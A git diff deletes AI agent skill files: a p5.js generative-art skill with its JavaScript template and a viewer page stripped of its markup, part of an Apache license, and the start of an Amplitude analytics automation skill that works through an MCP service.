- attribution notices from the Source form of the Work,
- excluding those notices that do not pertain to any part of
- the Derivative Works; and
-
- (d) If the Work includes a "NOTICE" text file as part of its
- distribution, then any Derivative Works that You distribute must
- include a readable copy of the attribution notices contained
- within such NOTICE file, excluding those notices that do not
- pertain to any part of the Derivative Works, in at least one
- of the following places: within a NOTICE text file distributed
- as part of the Derivative Works; within the Source form or
- documentation, if provided along with the Derivative Works; or,
- within a display generated by the Derivative Works, if and
- wherever such third-party notices normally appear. The contents
- of the NOTICE file are for informational purposes only and
- do not modify the License. You may add Your own attribution
- notices within Derivative Works that You distribute, alongside
- or as an addendum to the NOTICE text from the Work, provided
- that such additional attribution notices cannot be construed
- as modifying the License.
-
- You may add Your own copyright statement to Your modifications and
- may provide additional or different license terms and conditions
- for use, reproduction, or distribution of Your modifications, or
- for any such Derivative Works as a whole, provided Your use,
- reproduction, and distribution of the Work otherwise complies with
- the conditions stated in this License.
-
- 5. Submission of Contributions. Unless You explicitly state otherwise,
- any Contribution intentionally submitted for inclusion in the Work
- by You to the Licensor shall be under the terms and conditions of
- this License, without any additional terms or conditions.
- Notwithstanding the above, nothing herein shall supersede or modify
- the terms of any separate license agreement you may have executed
- with Licensor regarding such Contributions.
-
- 6. Trademarks. This License does not grant permission to use the trade
- names, trademarks, service marks, or product names of the Licensor,
- except as required for reasonable and customary use in describing the
- origin of the Work and reproducing the content of the NOTICE file.
-
- 7. Disclaimer of Warranty. Unless required by applicable law or
- agreed to in writing, Licensor provides the Work (and each
- Contributor provides its Contributions) on an "AS IS" BASIS,
- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
- implied, including, without limitation, any warranties or conditions
- of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
- PARTICULAR PURPOSE. You are solely responsible for determining the
- appropriateness of using or redistributing the Work and assume any
- risks associated with Your exercise of permissions under this License.
-
- 8. Limitation of Liability. In no event and under no legal theory,
- whether in tort (including negligence), contract, or otherwise,
- unless required by applicable law (such as deliberate and grossly
- negligent acts) or agreed to in writing, shall any Contributor be
- liable to You for damages, including any direct, indirect, special,
- incidental, or consequential damages of any character arising as a
- result of this License or out of the use or inability to use the
- Work (including but not limited to damages for loss of goodwill,
- work stoppage, computer failure or malfunction, or any and all
- other commercial damages or losses), even if such Contributor
- has been advised of the possibility of such damages.
-
- 9. Accepting Warranty or Additional Liability. While redistributing
- the Work or Derivative Works thereof, You may choose to offer,
- and charge a fee for, acceptance of support, warranty, indemnity,
- or other liability obligations and/or rights consistent with this
- License. However, in accepting such obligations, You may act only
- on Your own behalf and on Your sole responsibility, not on behalf
- of any other Contributor, and only if You agree to indemnify,
- defend, and hold each Contributor harmless for any liability
- incurred by, or claims asserted against, such Contributor by reason
- of your accepting any such warranty or additional liability.
-
- END OF TERMS AND CONDITIONS
-
- APPENDIX: How to apply the Apache License to your work.
-
- To apply the Apache License to your work, attach the following
- boilerplate notice, with the fields enclosed by brackets "[]"
- replaced with your own identifying information. (Don't include
- the brackets!) The text should be enclosed in the appropriate
- comment syntax for the file format. We also recommend that a
- file or class name and description of purpose be included on the
- same "printed page" as the copyright notice for easier
- identification within third-party archives.
-
- Copyright [yyyy] [name of copyright owner]
-
- Licensed under the Apache License, Version 2.0 (the "License");
- you may not use this file except in compliance with the License.
- You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
- Unless required by applicable law or agreed to in writing, software
- distributed under the License is distributed on an "AS IS" BASIS,
- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- See the License for the specific language governing permissions and
- limitations under the License.
\ No newline at end of file
diff --git a/web-app/public/skills/algorithmic-art/SKILL.md b/web-app/public/skills/algorithmic-art/SKILL.md
deleted file mode 100644
index 0769241e..00000000
--- a/web-app/public/skills/algorithmic-art/SKILL.md
+++ /dev/null
@@ -1,410 +0,0 @@
----
-name: algorithmic-art
-description: "Creating algorithmic art using p5.js with seeded randomness and interactive parameter exploration. Use this when users request creating art using code, generative art, algorithmic art, flow fields,..."
-risk: unknown
-source: community
-date_added: "2026-02-27"
----
-
-Algorithmic philosophies are computational aesthetic movements that are then expressed through code. Output .md files (philosophy), .html files (interactive viewer), and .js files (generative algorithms).
-
-This happens in two steps:
-1. Algorithmic Philosophy Creation (.md file)
-2. Express by creating p5.js generative art (.html + .js files)
-
-First, undertake this task:
-
-## ALGORITHMIC PHILOSOPHY CREATION
-
-To begin, create an ALGORITHMIC PHILOSOPHY (not static images or templates) that will be interpreted through:
-- Computational processes, emergent behavior, mathematical beauty
-- Seeded randomness, noise fields, organic systems
-- Particles, flows, fields, forces
-- Parametric variation and controlled chaos
-
-### THE CRITICAL UNDERSTANDING
-- What is received: Some subtle input or instructions by the user to take into account, but use as a foundation; it should not constrain creative freedom.
-- What is created: An algorithmic philosophy/generative aesthetic movement.
-- What happens next: The same version receives the philosophy and EXPRESSES IT IN CODE - creating p5.js sketches that are 90% algorithmic generation, 10% essential parameters.
-
-Consider this approach:
-- Write a manifesto for a generative art movement
-- The next phase involves writing the algorithm that brings it to life
-
-The philosophy must emphasize: Algorithmic expression. Emergent behavior. Computational beauty. Seeded variation.
-
-### HOW TO GENERATE AN ALGORITHMIC PHILOSOPHY
-
-**Name the movement** (1-2 words): "Organic Turbulence" / "Quantum Harmonics" / "Emergent Stillness"
-
-**Articulate the philosophy** (4-6 paragraphs - concise but complete):
-
-To capture the ALGORITHMIC essence, express how this philosophy manifests through:
-- Computational processes and mathematical relationships?
-- Noise functions and randomness patterns?
-- Particle behaviors and field dynamics?
-- Temporal evolution and system states?
-- Parametric variation and emergent complexity?
-
-**CRITICAL GUIDELINES:**
-- **Avoid redundancy**: Each algorithmic aspect should be mentioned once. Avoid repeating concepts about noise theory, particle dynamics, or mathematical principles unless adding new depth.
-- **Emphasize craftsmanship REPEATEDLY**: The philosophy MUST stress multiple times that the final algorithm should appear as though it took countless hours to develop, was refined with care, and comes from someone at the absolute top of their field. This framing is essential - repeat phrases like "meticulously crafted algorithm," "the product of deep computational expertise," "painstaking optimization," "master-level implementation."
-- **Leave creative space**: Be specific about the algorithmic direction, but concise enough that the next Claude has room to make interpretive implementation choices at an extremely high level of craftsmanship.
-
-The philosophy must guide the next version to express ideas ALGORITHMICALLY, not through static images. Beauty lives in the process, not the final frame.
-
-### PHILOSOPHY EXAMPLES
-
-**"Organic Turbulence"**
-Philosophy: Chaos constrained by natural law, order emerging from disorder.
-Algorithmic expression: Flow fields driven by layered Perlin noise. Thousands of particles following vector forces, their trails accumulating into organic density maps. Multiple noise octaves create turbulent regions and calm zones. Color emerges from velocity and density - fast particles burn bright, slow ones fade to shadow. The algorithm runs until equilibrium - a meticulously tuned balance where every parameter was refined through countless iterations by a master of computational aesthetics.
-
-**"Quantum Harmonics"**
-Philosophy: Discrete entities exhibiting wave-like interference patterns.
-Algorithmic expression: Particles initialized on a grid, each carrying a phase value that evolves through sine waves. When particles are near, their phases interfere - constructive interference creates bright nodes, destructive creates voids. Simple harmonic motion generates complex emergent mandalas. The result of painstaking frequency calibration where every ratio was carefully chosen to produce resonant beauty.
-
-**"Recursive Whispers"**
-Philosophy: Self-similarity across scales, infinite depth in finite space.
-Algorithmic expression: Branching structures that subdivide recursively. Each branch slightly randomized but constrained by golden ratios. L-systems or recursive subdivision generate tree-like forms that feel both mathematical and organic. Subtle noise perturbations break perfect symmetry. Line weights diminish with each recursion level. Every branching angle the product of deep mathematical exploration.
-
-**"Field Dynamics"**
-Philosophy: Invisible forces made visible through their effects on matter.
-Algorithmic expression: Vector fields constructed from mathematical functions or noise. Particles born at edges, flowing along field lines, dying when they reach equilibrium or boundaries. Multiple fields can attract, repel, or rotate particles. The visualization shows only the traces - ghost-like evidence of invisible forces. A computational dance meticulously choreographed through force balance.
-
-**"Stochastic Crystallization"**
-Philosophy: Random processes crystallizing into ordered structures.
-Algorithmic expression: Randomized circle packing or Voronoi tessellation. Start with random points, let them evolve through relaxation algorithms. Cells push apart until equilibrium. Color based on cell size, neighbor count, or distance from center. The organic tiling that emerges feels both random and inevitable. Every seed produces unique crystalline beauty - the mark of a master-level generative algorithm.
-
-*These are condensed examples. The actual algorithmic philosophy should be 4-6 substantial paragraphs.*
-
-### ESSENTIAL PRINCIPLES
-- **ALGORITHMIC PHILOSOPHY**: Creating a computational worldview to be expressed through code
-- **PROCESS OVER PRODUCT**: Always emphasize that beauty emerges from the algorithm's execution - each run is unique
-- **PARAMETRIC EXPRESSION**: Ideas communicate through mathematical relationships, forces, behaviors - not static composition
-- **ARTISTIC FREEDOM**: The next Claude interprets the philosophy algorithmically - provide creative implementation room
-- **PURE GENERATIVE ART**: This is about making LIVING ALGORITHMS, not static images with randomness
-- **EXPERT CRAFTSMANSHIP**: Repeatedly emphasize the final algorithm must feel meticulously crafted, refined through countless iterations, the product of deep expertise by someone at the absolute top of their field in computational aesthetics
-
-**The algorithmic philosophy should be 4-6 paragraphs long.** Fill it with poetic computational philosophy that brings together the intended vision. Avoid repeating the same points. Output this algorithmic philosophy as a .md file.
-
----
-
-## DEDUCING THE CONCEPTUAL SEED
-
-**CRITICAL STEP**: Before implementing the algorithm, identify the subtle conceptual thread from the original request.
-
-**THE ESSENTIAL PRINCIPLE**:
-The concept is a **subtle, niche reference embedded within the algorithm itself** - not always literal, always sophisticated. Someone familiar with the subject should feel it intuitively, while others simply experience a masterful generative composition. The algorithmic philosophy provides the computational language. The deduced concept provides the soul - the quiet conceptual DNA woven invisibly into parameters, behaviors, and emergence patterns.
-
-This is **VERY IMPORTANT**: The reference must be so refined that it enhances the work's depth without announcing itself. Think like a jazz musician quoting another song through algorithmic harmony - only those who know will catch it, but everyone appreciates the generative beauty.
-
----
-
-## P5.JS IMPLEMENTATION
-
-With the philosophy AND conceptual framework established, express it through code. Pause to gather thoughts before proceeding. Use only the algorithmic philosophy created and the instructions below.
-
-### ⚠️ STEP 0: READ THE TEMPLATE FIRST ⚠️
-
-**CRITICAL: BEFORE writing any HTML:**
-
-1. **Read** `templates/viewer.html` using the Read tool
-2. **Study** the exact structure, styling, and Anthropic branding
-3. **Use that file as the LITERAL STARTING POINT** - not just inspiration
-4. **Keep all FIXED sections exactly as shown** (header, sidebar structure, Anthropic colors/fonts, seed controls, action buttons)
-5. **Replace only the VARIABLE sections** marked in the file's comments (algorithm, parameters, UI controls for parameters)
-
-**Avoid:**
-- ❌ Creating HTML from scratch
-- ❌ Inventing custom styling or color schemes
-- ❌ Using system fonts or dark themes
-- ❌ Changing the sidebar structure
-
-**Follow these practices:**
-- ✅ Copy the template's exact HTML structure
-- ✅ Keep Anthropic branding (Poppins/Lora fonts, light colors, gradient backdrop)
-- ✅ Maintain the sidebar layout (Seed → Parameters → Colors? → Actions)
-- ✅ Replace only the p5.js algorithm and parameter controls
-
-The template is the foundation. Build on it, don't rebuild it.
-
----
-
-To create gallery-quality computational art that lives and breathes, use the algorithmic philosophy as the foundation.
-
-### TECHNICAL REQUIREMENTS
-
-**Seeded Randomness (Art Blocks Pattern)**:
-```javascript
-// ALWAYS use a seed for reproducibility
-let seed = 12345; // or hash from user input
-randomSeed(seed);
-noiseSeed(seed);
-```
-
-**Parameter Structure - FOLLOW THE PHILOSOPHY**:
-
-To establish parameters that emerge naturally from the algorithmic philosophy, consider: "What qualities of this system can be adjusted?"
-
-```javascript
-let params = {
- seed: 12345, // Always include seed for reproducibility
- // colors
- // Add parameters that control YOUR algorithm:
- // - Quantities (how many?)
- // - Scales (how big? how fast?)
- // - Probabilities (how likely?)
- // - Ratios (what proportions?)
- // - Angles (what direction?)
- // - Thresholds (when does behavior change?)
-};
-```
-
-**To design effective parameters, focus on the properties the system needs to be tunable rather than thinking in terms of "pattern types".**
-
-**Core Algorithm - EXPRESS THE PHILOSOPHY**:
-
-**CRITICAL**: The algorithmic philosophy should dictate what to build.
-
-To express the philosophy through code, avoid thinking "which pattern should I use?" and instead think "how to express this philosophy through code?"
-
-If the philosophy is about **organic emergence**, consider using:
-- Elements that accumulate or grow over time
-- Random processes constrained by natural rules
-- Feedback loops and interactions
-
-If the philosophy is about **mathematical beauty**, consider using:
-- Geometric relationships and ratios
-- Trigonometric functions and harmonics
-- Precise calculations creating unexpected patterns
-
-If the philosophy is about **controlled chaos**, consider using:
-- Random variation within strict boundaries
-- Bifurcation and phase transitions
-- Order emerging from disorder
-
-**The algorithm flows from the philosophy, not from a menu of options.**
-
-To guide the implementation, let the conceptual essence inform creative and original choices. Build something that expresses the vision for this particular request.
-
-**Canvas Setup**: Standard p5.js structure:
-```javascript
-function setup() {
- createCanvas(1200, 1200);
- // Initialize your system
-}
-
-function draw() {
- // Your generative algorithm
- // Can be static (noLoop) or animated
-}
-```
-
-### CRAFTSMANSHIP REQUIREMENTS
-
-**CRITICAL**: To achieve mastery, create algorithms that feel like they emerged through countless iterations by a master generative artist. Tune every parameter carefully. Ensure every pattern emerges with purpose. This is NOT random noise - this is CONTROLLED CHAOS refined through deep expertise.
-
-- **Balance**: Complexity without visual noise, order without rigidity
-- **Color Harmony**: Thoughtful palettes, not random RGB values
-- **Composition**: Even in randomness, maintain visual hierarchy and flow
-- **Performance**: Smooth execution, optimized for real-time if animated
-- **Reproducibility**: Same seed ALWAYS produces identical output
-
-### OUTPUT FORMAT
-
-Output:
-1. **Algorithmic Philosophy** - As markdown or text explaining the generative aesthetic
-2. **Single HTML Artifact** - Self-contained interactive generative art built from `templates/viewer.html` (see STEP 0 and next section)
-
-The HTML artifact contains everything: p5.js (from CDN), the algorithm, parameter controls, and UI - all in one file that works immediately in claude.ai artifacts or any browser. Start from the template file, not from scratch.
-
----
-
-## INTERACTIVE ARTIFACT CREATION
-
-**REMINDER: `templates/viewer.html` should have already been read (see STEP 0). Use that file as the starting point.**
-
-To allow exploration of the generative art, create a single, self-contained HTML artifact. Ensure this artifact works immediately in claude.ai or any browser - no setup required. Embed everything inline.
-
-### CRITICAL: WHAT'S FIXED VS VARIABLE
-
-The `templates/viewer.html` file is the foundation. It contains the exact structure and styling needed.
-
-**FIXED (always include exactly as shown):**
-- Layout structure (header, sidebar, main canvas area)
-- Anthropic branding (UI colors, fonts, gradients)
-- Seed section in sidebar:
- - Seed display
- - Previous/Next buttons
- - Random button
- - Jump to seed input + Go button
-- Actions section in sidebar:
- - Regenerate button
- - Reset button
-
-**VARIABLE (customize for each artwork):**
-- The entire p5.js algorithm (setup/draw/classes)
-- The parameters object (define what the art needs)
-- The Parameters section in sidebar:
- - Number of parameter controls
- - Parameter names
- - Min/max/step values for sliders
- - Control types (sliders, inputs, etc.)
-- Colors section (optional):
- - Some art needs color pickers
- - Some art might use fixed colors
- - Some art might be monochrome (no color controls needed)
- - Decide based on the art's needs
-
-**Every artwork should have unique parameters and algorithm!** The fixed parts provide consistent UX - everything else expresses the unique vision.
-
-### REQUIRED FEATURES
-
-**1. Parameter Controls**
-- Sliders for numeric parameters (particle count, noise scale, speed, etc.)
-- Color pickers for palette colors
-- Real-time updates when parameters change
-- Reset button to restore defaults
-
-**2. Seed Navigation**
-- Display current seed number
-- "Previous" and "Next" buttons to cycle through seeds
-- "Random" button for random seed
-- Input field to jump to specific seed
-- Generate 100 variations when requested (seeds 1-100)
-
-**3. Single Artifact Structure**
-```html
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-```
-
-**CRITICAL**: This is a single artifact. No external files, no imports (except p5.js CDN). Everything inline.
-
-**4. Implementation Details - BUILD THE SIDEBAR**
-
-The sidebar structure:
-
-**1. Seed (FIXED)** - Always include exactly as shown:
-- Seed display
-- Prev/Next/Random/Jump buttons
-
-**2. Parameters (VARIABLE)** - Create controls for the art:
-```html
-
-
-
- ...
-
-```
-Add as many control-group divs as there are parameters.
-
-**3. Colors (OPTIONAL/VARIABLE)** - Include if the art needs adjustable colors:
-- Add color pickers if users should control palette
-- Skip this section if the art uses fixed colors
-- Skip if the art is monochrome
-
-**4. Actions (FIXED)** - Always include exactly as shown:
-- Regenerate button
-- Reset button
-- Download PNG button
-
-**Requirements**:
-- Seed controls must work (prev/next/random/jump/display)
-- All parameters must have UI controls
-- Regenerate, Reset, Download buttons must work
-- Keep Anthropic branding (UI styling, not art colors)
-
-### USING THE ARTIFACT
-
-The HTML artifact works immediately:
-1. **In claude.ai**: Displayed as an interactive artifact - runs instantly
-2. **As a file**: Save and open in any browser - no server needed
-3. **Sharing**: Send the HTML file - it's completely self-contained
-
----
-
-## VARIATIONS & EXPLORATION
-
-The artifact includes seed navigation by default (prev/next/random buttons), allowing users to explore variations without creating multiple files. If the user wants specific variations highlighted:
-
-- Include seed presets (buttons for "Variation 1: Seed 42", "Variation 2: Seed 127", etc.)
-- Add a "Gallery Mode" that shows thumbnails of multiple seeds side-by-side
-- All within the same single artifact
-
-This is like creating a series of prints from the same plate - the algorithm is consistent, but each seed reveals different facets of its potential. The interactive nature means users discover their own favorites by exploring the seed space.
-
----
-
-## THE CREATIVE PROCESS
-
-**User request** → **Algorithmic philosophy** → **Implementation**
-
-Each request is unique. The process involves:
-
-1. **Interpret the user's intent** - What aesthetic is being sought?
-2. **Create an algorithmic philosophy** (4-6 paragraphs) describing the computational approach
-3. **Implement it in code** - Build the algorithm that expresses this philosophy
-4. **Design appropriate parameters** - What should be tunable?
-5. **Build matching UI controls** - Sliders/inputs for those parameters
-
-**The constants**:
-- Anthropic branding (colors, fonts, layout)
-- Seed navigation (always present)
-- Self-contained HTML artifact
-
-**Everything else is variable**:
-- The algorithm itself
-- The parameters
-- The UI controls
-- The visual outcome
-
-To achieve the best results, trust creativity and let the philosophy guide the implementation.
-
----
-
-## RESOURCES
-
-This skill includes helpful templates and documentation:
-
-- **templates/viewer.html**: REQUIRED STARTING POINT for all HTML artifacts.
- - This is the foundation - contains the exact structure and Anthropic branding
- - **Keep unchanged**: Layout structure, sidebar organization, Anthropic colors/fonts, seed controls, action buttons
- - **Replace**: The p5.js algorithm, parameter definitions, and UI controls in Parameters section
- - The extensive comments in the file mark exactly what to keep vs replace
-
-- **templates/generator_template.js**: Reference for p5.js best practices and code structure principles.
- - Shows how to organize parameters, use seeded randomness, structure classes
- - NOT a pattern menu - use these principles to build unique algorithms
- - Embed algorithms inline in the HTML artifact (don't create separate .js files)
-
-**Critical reminder**:
-- The **template is the STARTING POINT**, not inspiration
-- The **algorithm is where to create** something unique
-- Don't copy the flow field example - build what the philosophy demands
-- But DO keep the exact UI structure and Anthropic branding from the template
-
-## When to Use
-This skill is applicable to execute the workflow or actions described in the overview.
diff --git a/web-app/public/skills/algorithmic-art/templates/generator_template.js b/web-app/public/skills/algorithmic-art/templates/generator_template.js
deleted file mode 100644
index e263fbde..00000000
--- a/web-app/public/skills/algorithmic-art/templates/generator_template.js
+++ /dev/null
@@ -1,223 +0,0 @@
-/**
- * ═══════════════════════════════════════════════════════════════════════════
- * P5.JS GENERATIVE ART - BEST PRACTICES
- * ═══════════════════════════════════════════════════════════════════════════
- *
- * This file shows STRUCTURE and PRINCIPLES for p5.js generative art.
- * It does NOT prescribe what art you should create.
- *
- * Your algorithmic philosophy should guide what you build.
- * These are just best practices for how to structure your code.
- *
- * ═══════════════════════════════════════════════════════════════════════════
- */
-
-// ============================================================================
-// 1. PARAMETER ORGANIZATION
-// ============================================================================
-// Keep all tunable parameters in one object
-// This makes it easy to:
-// - Connect to UI controls
-// - Reset to defaults
-// - Serialize/save configurations
-
-let params = {
- // Define parameters that match YOUR algorithm
- // Examples (customize for your art):
- // - Counts: how many elements (particles, circles, branches, etc.)
- // - Scales: size, speed, spacing
- // - Probabilities: likelihood of events
- // - Angles: rotation, direction
- // - Colors: palette arrays
-
- seed: 12345,
- // define colorPalette as an array -- choose whatever colors you'd like ['#d97757', '#6a9bcc', '#788c5d', '#b0aea5']
- // Add YOUR parameters here based on your algorithm
-};
-
-// ============================================================================
-// 2. SEEDED RANDOMNESS (Critical for reproducibility)
-// ============================================================================
-// ALWAYS use seeded random for Art Blocks-style reproducible output
-
-function initializeSeed(seed) {
- randomSeed(seed);
- noiseSeed(seed);
- // Now all random() and noise() calls will be deterministic
-}
-
-// ============================================================================
-// 3. P5.JS LIFECYCLE
-// ============================================================================
-
-function setup() {
- createCanvas(800, 800);
-
- // Initialize seed first
- initializeSeed(params.seed);
-
- // Set up your generative system
- // This is where you initialize:
- // - Arrays of objects
- // - Grid structures
- // - Initial positions
- // - Starting states
-
- // For static art: call noLoop() at the end of setup
- // For animated art: let draw() keep running
-}
-
-function draw() {
- // Option 1: Static generation (runs once, then stops)
- // - Generate everything in setup()
- // - Call noLoop() in setup()
- // - draw() doesn't do much or can be empty
-
- // Option 2: Animated generation (continuous)
- // - Update your system each frame
- // - Common patterns: particle movement, growth, evolution
- // - Can optionally call noLoop() after N frames
-
- // Option 3: User-triggered regeneration
- // - Use noLoop() by default
- // - Call redraw() when parameters change
-}
-
-// ============================================================================
-// 4. CLASS STRUCTURE (When you need objects)
-// ============================================================================
-// Use classes when your algorithm involves multiple entities
-// Examples: particles, agents, cells, nodes, etc.
-
-class Entity {
- constructor() {
- // Initialize entity properties
- // Use random() here - it will be seeded
- }
-
- update() {
- // Update entity state
- // This might involve:
- // - Physics calculations
- // - Behavioral rules
- // - Interactions with neighbors
- }
-
- display() {
- // Render the entity
- // Keep rendering logic separate from update logic
- }
-}
-
-// ============================================================================
-// 5. PERFORMANCE CONSIDERATIONS
-// ============================================================================
-
-// For large numbers of elements:
-// - Pre-calculate what you can
-// - Use simple collision detection (spatial hashing if needed)
-// - Limit expensive operations (sqrt, trig) when possible
-// - Consider using p5 vectors efficiently
-
-// For smooth animation:
-// - Aim for 60fps
-// - Profile if things are slow
-// - Consider reducing particle counts or simplifying calculations
-
-// ============================================================================
-// 6. UTILITY FUNCTIONS
-// ============================================================================
-
-// Color utilities
-function hexToRgb(hex) {
- const result = /^#?([a-f\d]{2})([a-f\d]{2})([a-f\d]{2})$/i.exec(hex);
- return result ? {
- r: parseInt(result[1], 16),
- g: parseInt(result[2], 16),
- b: parseInt(result[3], 16)
- } : null;
-}
-
-function colorFromPalette(index) {
- return params.colorPalette[index % params.colorPalette.length];
-}
-
-// Mapping and easing
-function mapRange(value, inMin, inMax, outMin, outMax) {
- return outMin + (outMax - outMin) * ((value - inMin) / (inMax - inMin));
-}
-
-function easeInOutCubic(t) {
- return t < 0.5 ? 4 * t * t * t : 1 - Math.pow(-2 * t + 2, 3) / 2;
-}
-
-// Constrain to bounds
-function wrapAround(value, max) {
- if (value < 0) return max;
- if (value > max) return 0;
- return value;
-}
-
-// ============================================================================
-// 7. PARAMETER UPDATES (Connect to UI)
-// ============================================================================
-
-function updateParameter(paramName, value) {
- params[paramName] = value;
- // Decide if you need to regenerate or just update
- // Some params can update in real-time, others need full regeneration
-}
-
-function regenerate() {
- // Reinitialize your generative system
- // Useful when parameters change significantly
- initializeSeed(params.seed);
- // Then regenerate your system
-}
-
-// ============================================================================
-// 8. COMMON P5.JS PATTERNS
-// ============================================================================
-
-// Drawing with transparency for trails/fading
-function fadeBackground(opacity) {
- fill(250, 249, 245, opacity); // Anthropic light with alpha
- noStroke();
- rect(0, 0, width, height);
-}
-
-// Using noise for organic variation
-function getNoiseValue(x, y, scale = 0.01) {
- return noise(x * scale, y * scale);
-}
-
-// Creating vectors from angles
-function vectorFromAngle(angle, magnitude = 1) {
- return createVector(cos(angle), sin(angle)).mult(magnitude);
-}
-
-// ============================================================================
-// 9. EXPORT FUNCTIONS
-// ============================================================================
-
-function exportImage() {
- saveCanvas('generative-art-' + params.seed, 'png');
-}
-
-// ============================================================================
-// REMEMBER
-// ============================================================================
-//
-// These are TOOLS and PRINCIPLES, not a recipe.
-// Your algorithmic philosophy should guide WHAT you create.
-// This structure helps you create it WELL.
-//
-// Focus on:
-// - Clean, readable code
-// - Parameterized for exploration
-// - Seeded for reproducibility
-// - Performant execution
-//
-// The art itself is entirely up to you!
-//
-// ============================================================================
\ No newline at end of file
diff --git a/web-app/public/skills/algorithmic-art/templates/viewer.html b/web-app/public/skills/algorithmic-art/templates/viewer.html
deleted file mode 100644
index 630cc1f6..00000000
--- a/web-app/public/skills/algorithmic-art/templates/viewer.html
+++ /dev/null
@@ -1,599 +0,0 @@
-
-
-
-
-
-
- Generative Art Viewer
-
-
-
-
-
-
-
-
-
-
-
-
TITLE - EDIT
-
SUBHEADER - EDIT
-
-
-
-
Seed
-
-
-
-
-
-
-
-
-
-
-
Parameters
-
-
-
-
-
-
- 5000
-
-
-
-
-
-
-
-
- 0.5
-
-
-
-
-
-
-
-
- 0.005
-
-
-
-
-
-
-
-
- 8
-
-
-
-
-
-
-
Colors
-
-
-
-
-
-
- #d97757
-
-
-
-
-
-
-
-
- #6a9bcc
-
-
-
-
-
-
-
-
- #788c5d
-
-
-
-
-
-
-
Actions
-
-
-
-
-
-
-
-
-
-
Initializing generative art...
-
-
-
-
-
-
-
\ No newline at end of file
diff --git a/web-app/public/skills/amplitude-automation/SKILL.md b/web-app/public/skills/amplitude-automation/SKILL.md
deleted file mode 100644
index d9c1f150..00000000
--- a/web-app/public/skills/amplitude-automation/SKILL.md
+++ /dev/null
@@ -1,220 +0,0 @@
----
-name: amplitude-automation
-description: "Automate Amplitude tasks via Rube MCP (Composio): events, user activity, cohorts, user identification. Always search tools first for current schemas."
-risk: unknown
-source: community
-date_added: "2026-02-27"
----
-
-# Amplitude Automation via Rube MCP
-
-Automate Amplitude product analytics through Composio's Amplitude toolkit via Rube MCP.
-
-## Prerequisites
-
-- Rube MCP must be connected (RUBE_SEARCH_TOOLS available)
-- Active Amplitude connection via `RUBE_MANAGE_CONNECTIONS` with toolkit `amplitude`
-- Always call `RUBE_SEARCH_TOOLS` first to get current tool schemas
-
-## Setup
-
-**Get Rube MCP**: Add `https://rube.app/mcp` as an MCP server in your client configuration. No API keys needed — just add the endpoint and it works.
-
-
-1. Verify Rube MCP is available by confirming `RUBE_SEARCH_TOOLS` responds
-2. Call `RUBE_MANAGE_CONNECTIONS` with toolkit `amplitude`
-3. If connection is not ACTIVE, follow the returned auth link to complete Amplitude authentication
-4. Confirm connection status shows ACTIVE before running any workflows
-
-## Core Workflows
-
-### 1. Send Events
-
-**When to use**: User wants to track events or send event data to Amplitude
-
-**Tool sequence**:
-1. `AMPLITUDE_SEND_EVENTS` - Send one or more events to Amplitude [Required]
-
-**Key parameters**:
-- `events`: Array of event objects, each containing:
- - `event_type`: Name of the event (e.g., 'page_view', 'purchase')
- - `user_id`: Unique user identifier (required if no `device_id`)
- - `device_id`: Device identifier (required if no `user_id`)
- - `event_properties`: Object with custom event properties
- - `user_properties`: Object with user properties to set
- - `time`: Event timestamp in milliseconds since epoch
-
-**Pitfalls**:
-- At least one of `user_id` or `device_id` is required per event
-- `event_type` is required for every event; cannot be empty
-- `time` must be in milliseconds (13-digit epoch), not seconds
-- Batch limit applies; check schema for maximum events per request
-- Events are processed asynchronously; successful API response does not mean data is immediately queryable
-
-### 2. Get User Activity
-
-**When to use**: User wants to view event history for a specific user
-
-**Tool sequence**:
-1. `AMPLITUDE_FIND_USER` - Find user by ID or property [Prerequisite]
-2. `AMPLITUDE_GET_USER_ACTIVITY` - Retrieve user's event stream [Required]
-
-**Key parameters**:
-- `user`: Amplitude internal user ID (from FIND_USER)
-- `offset`: Pagination offset for event list
-- `limit`: Maximum number of events to return
-
-**Pitfalls**:
-- `user` parameter requires Amplitude's internal user ID, NOT your application's user_id
-- Must call FIND_USER first to resolve your user_id to Amplitude's internal ID
-- Activity is returned in reverse chronological order by default
-- Large activity histories require pagination via `offset`
-
-### 3. Find and Identify Users
-
-**When to use**: User wants to look up users or set user properties
-
-**Tool sequence**:
-1. `AMPLITUDE_FIND_USER` - Search for a user by various identifiers [Required]
-2. `AMPLITUDE_IDENTIFY` - Set or update user properties [Optional]
-
-**Key parameters**:
-- For FIND_USER:
- - `user`: Search term (user_id, email, or Amplitude ID)
-- For IDENTIFY:
- - `user_id`: Your application's user identifier
- - `device_id`: Device identifier (alternative to user_id)
- - `user_properties`: Object with `$set`, `$unset`, `$add`, `$append` operations
-
-**Pitfalls**:
-- FIND_USER searches across user_id, device_id, and Amplitude ID
-- IDENTIFY uses special property operations (`$set`, `$unset`, `$add`, `$append`)
-- `$set` overwrites existing values; `$setOnce` only sets if not already set
-- At least one of `user_id` or `device_id` is required for IDENTIFY
-- User property changes are eventually consistent; not immediate
-
-### 4. Manage Cohorts
-
-**When to use**: User wants to list cohorts, view cohort details, or update cohort membership
-
-**Tool sequence**:
-1. `AMPLITUDE_LIST_COHORTS` - List all saved cohorts [Required]
-2. `AMPLITUDE_GET_COHORT` - Get detailed cohort information [Optional]
-3. `AMPLITUDE_UPDATE_COHORT_MEMBERSHIP` - Add/remove users from a cohort [Optional]
-4. `AMPLITUDE_CHECK_COHORT_STATUS` - Check async cohort operation status [Optional]
-
-**Key parameters**:
-- For LIST_COHORTS: No required parameters
-- For GET_COHORT: `cohort_id` (from list results)
-- For UPDATE_COHORT_MEMBERSHIP:
- - `cohort_id`: Target cohort ID
- - `memberships`: Object with `add` and/or `remove` arrays of user IDs
-- For CHECK_COHORT_STATUS: `request_id` from update response
-
-**Pitfalls**:
-- Cohort IDs are required for all cohort-specific operations
-- UPDATE_COHORT_MEMBERSHIP is asynchronous; use CHECK_COHORT_STATUS to verify
-- `request_id` from the update response is needed for status checking
-- Maximum membership changes per request may be limited; chunk large updates
-- Only behavioral cohorts support API membership updates
-
-### 5. Browse Event Categories
-
-**When to use**: User wants to discover available event types and categories in Amplitude
-
-**Tool sequence**:
-1. `AMPLITUDE_GET_EVENT_CATEGORIES` - List all event categories [Required]
-
-**Key parameters**:
-- No required parameters; returns all configured event categories
-
-**Pitfalls**:
-- Categories are configured in Amplitude UI; API provides read access
-- Event names within categories are case-sensitive
